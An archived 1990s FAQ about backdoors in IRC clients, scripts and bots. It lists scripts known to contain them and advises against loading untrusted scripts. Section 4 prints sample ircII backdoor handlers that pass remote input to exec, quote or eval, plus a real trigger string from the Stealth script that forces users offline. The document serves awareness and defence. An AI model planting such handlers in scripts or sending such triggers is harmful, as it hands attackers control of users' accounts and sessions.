home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / irc-backdoor.faq < prev    next >
Text File  |  1998-03-25  |  9KB  |  217 lines

  1.           Bugs and Backdoors in IRC clients, scripts and bots
  2.           ---------------------------------------------------
  3.  
  4.  
  5. 1. What is a backdoor?
  6. ----------------------
  7.  
  8. A backdoor is a feature of a program that can be used to make it act in 
  9. some way that the person who is running it did not intend. 
  10.  
  11. Among IRC-related programs, bots, clients and scripts can have 
  12. backdoors.
  13.  
  14. An important point to note is that some backdoors are intentional and 
  15. some are not; with ircII scripts specifically, the problem is that
  16. ircII is not a very clear programming language when it comes to 
  17. evaluation, and neither is sh/csh (used in all the /EXECs), and it's 
  18. easy for someone who doesn't really understand what he's doing to put 
  19. unwanted backdoors. In clients and bots, which are usually written in
  20. C, the bugs or backdoors tend to be harder to find and exploit.
  21.  
  22. The line between an unintended backdoor and a bug is rather thin, I'd 
  23. call it a backdoor if it can be used to make the bot do somethign 
  24. specific, and just a bug if it can be used only to make the client or
  25. bot disconnect (ping timeout, or excess flood).
  26.  
  27.  
  28. 2. How dangerous can a backdoor be?
  29. -----------------------------------
  30.  
  31. A backdoor can be more or less ``powerful'', according to how much 
  32. access to your client's features and/or account it gives to an intruder.
  33.  
  34. In the worst cases, a backdoor will let an intruder execute arbitrary 
  35. commands on the machine your client or bot is running, allowing full 
  36. access to your account. This can in turn allow an intruder to compromise
  37. your whole system's security, by cracking passwords or otherwise. They
  38. can also make you send mail, post to Usenet, etc. I will call this 
  39. giving Unix access.
  40.  
  41. In other cases, the backdoor will let the intruder control your IRC 
  42. client, making it do all IRC-related things like joining channels, 
  43. speaking in them, or signing off, or /killing if you're an IRCop. I will 
  44. call this giving IRC access.
  45.  
  46. And in some cases, the backdoor will only let them do some specific 
  47. things. The most common case is when the backdoor only lets an intruder 
  48. disconnect you from IRC.
  49.  
  50. Typically, unintended backdoors and bugs will either give full Unix and 
  51. IRC access, or just let anyone kill the client.
  52.  
  53.  
  54. 3. What known scripts, clients and bots have backdoors?
  55. -------------------------------------------------------
  56.  
  57. Off the top of my head (I've *SEEN* all of these, and some of them I've 
  58. found myself) :
  59.  
  60.   * iNFiNiTY, toolZ, UltBox (and probably other related scripts) have a
  61.     backdoor (very likely unintended) that gives full Unix access to
  62.     anyone.
  63.  
  64.   * early versions of GargOyle have an intended backdoor (supposedly
  65.     stolen from some other script) that gives Unix and IRC access to
  66.     anyone.
  67.  
  68.   * some versions of PhoEniX have an unintended backdoor that let people
  69.     make you signoff
  70.   
  71.   * Pillow Fighter II has an intended backdoor that gives Unix and IRC
  72.     access to anyone.
  73.  
  74.   * Stealth has at least 2 intended backdoors, one of which gives
  75.     Unix and IRC access to anyone, and the other one that lets people
  76.     make you signoff.
  77.  
  78.   * Some (old) versions of Axis have a backdoor that give on specific 
  79.     person Unix and IRC access, and another one that makes you give him 
  80.     ops. Recent versions supposedly don't have it; I haven't checked 
  81.     them.
  82.  
  83.   * Some (hacked?) versions of the VeVeS script have an intended 
  84.     backdoor that gives Unix and IRC access to anyone.
  85.  
  86.   * IrcOP.irc is a trojan horse script (i.e. it does NOTHING useful for
  87.     you) which removes all your files, opens your account to anyone,
  88.     and makes you do obnoxious stuff on IRC.
  89.  
  90.   * Some (hacked?) versions of the ComBot bot have an intended backdoor 
  91.     that gives IRC access to anyone.
  92.     
  93.   * eggdrop bots, if improperly configured, can give Unix access to
  94.     to anyone with bot-master privileges.
  95.   
  96.   * All VladBots, ComBot, HackBots, Kn1ghtBots, DweebBots, StelBots and 
  97.     similar bots can be killed (segmentation fault, bus error, or ping 
  98.     timeout, according to specific details), with more or less 
  99.     difficulty (and without flooding them).
  100.  
  101.   * Some hacked old version of ircII 2.2.9 have a backdoor that gives
  102.     anyone Unix and IRC access. This one was the object of a CERT 
  103.     advisory.
  104.  
  105.   * Old versions of ircII (prior to 2.3.x-beta) have a bug in the 
  106.     filtering of escape sequences that lets anyone with ops on a
  107.     channel where you are to mess up your screen.
  108.  
  109.   * Old versions of ircII (prior to 2.6) have a bug in DCC handling
  110.     that lets someone make you ping timeout once you have a DCC
  111.     connection with them.
  112.  
  113. This is by no means a comprehensive list; there are tons of scripts out 
  114. there and I don't spend my time skimming them all. In particular I've 
  115. never looked closely at TextBox or LiCe, and I know of no-one who has, 
  116. so I wouldn't trust them either.
  117.  
  118.  
  119. 4. How does a backdoor work?
  120. ----------------------------
  121.  
  122. In ircII, backdoors are typically /on statements like these:
  123.  
  124. #1  -   /on ^ctcp "% % BACKDOOR *" $3-
  125. #2  -   /on ^notice "% BACKDOOR *" $2-
  126. #3  -   /on ^ctcp "% % BACKDOOR *" quote $3-
  127. #4  -   /on ^ctcp "% % DCC SEND % *" exec -name stuff ls $5
  128. #5  -   /on -notice "% STUFF*" eval ^assign blah $3-
  129.  
  130. #1 and #2 are obviously intended, and give anyone IRC and Unix
  131. (by sending EXEC commands) access.
  132.  
  133. #3 is obviously intended too, and gives IRC access only.
  134.  
  135. #4 looks like an unintended bug, but still gives full Unix access
  136. to anyone (beware, this can be made safe by $strip()ing lots of
  137. characters, but is a potentially dangerous thing to do. Did *you*
  138. know that ^ is interpreted like | by SunOS /bin/sh's?).
  139.  
  140. With #5, the problem is the eval, but once again, since ircII lets
  141. you execute the contents of variables without an eval, looking for
  142. all the evals and all the /on's and all the /exec's is *not* a safe
  143. way to be sure a script is backdoor-free.
  144.  
  145.  
  146. Finally, a real example of a backdoor, for the most skeptical; this
  147. is taken straight out of the Stealth script:
  148.  
  149. alias qwrrw {
  150.    /echo [^BFate^B] You have been killed
  151.    /signoff I'm a dork, and I am sorry for disturbing you all.  I'll leave now}
  152.  
  153. on ^notice "% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54" {/qwrrw}
  154.  
  155. So if someone is running Stealth, all you have to do is
  156. /notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54
  157. and they signoff.
  158.  
  159. And I'd like to see anyone arguing that this was not intended...
  160.  
  161.  
  162. 5. How can I avoid backdoors?
  163. -----------------------------
  164.  
  165. It all comes to a simple fact: IRC is full of people who cannot be 
  166. trusted, and running (/load'ing) a script (or a bot) that someone sent 
  167. you is akin to putting a *lot* of trust in this person, *AND* in all the 
  168. people who have had this script between the original author and whoever 
  169. sent it to you. You don't only need to trust that the person doesn't 
  170. mean to harm you, but also that the person can *check* and make sure 
  171. that they aren't going to.
  172.  
  173. War scripts like Serpent and Phoenix and TextBox and LiCe are the least 
  174. trustable for a number of reasons:
  175.  
  176.   * Someone who writes a script (or puts his name at the top of a bunch
  177.     of stolen routines) that can be disruptive to the net is obviously 
  178.     not someone who is interested in doing people a favor. Trusting
  179.     their code is really the thing not to do.
  180.   
  181.   * These scripts tend to be *very* big (200k is no uncommon...) and
  182.     thus are a pain to check. I have looked at some in enough detail
  183.     to find backdoors, but you need to look a *lot* more carefully
  184.     to be able to say that there are none left. Definitely not for
  185.     the casual user.
  186.  
  187.   * They are often distributed from one to another, instead of getting
  188.     them from some "official" place. This means that any one with a 
  189.     minimum knowledge of ircII scripting can add 2 lines in the middle 
  190.     of Phoenix, increase the version number, and send it around.
  191.  
  192.  
  193. The scripts *I* would personally trust:
  194.  
  195.   zer0     -  I've written it myself, so I know there are no backdoors, 
  196.           I'm reasonably sure there are no exploitable bugs, and 
  197.           it's small enough for anyone to check in a reasonable 
  198.           time.
  199.           You can get it from 
  200.           http://www.eleves.ens.fr:8080/home/espel/index.html.
  201.  
  202.   Deturbo  -  Written by DeadelviS.
  203.  
  204.   SuperPak -  Written by TG; get version 3.2, *not* Barron's version
  205.           (numbered 5.4).
  206.  
  207. All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts
  208.  
  209.  
  210. ------------------------------------------------------------------------
  211.  
  212. You can send any additional comments to:
  213.  
  214.    orabidoo <roger.espel.llima@ens.fr>
  215.  
  216.  
  217.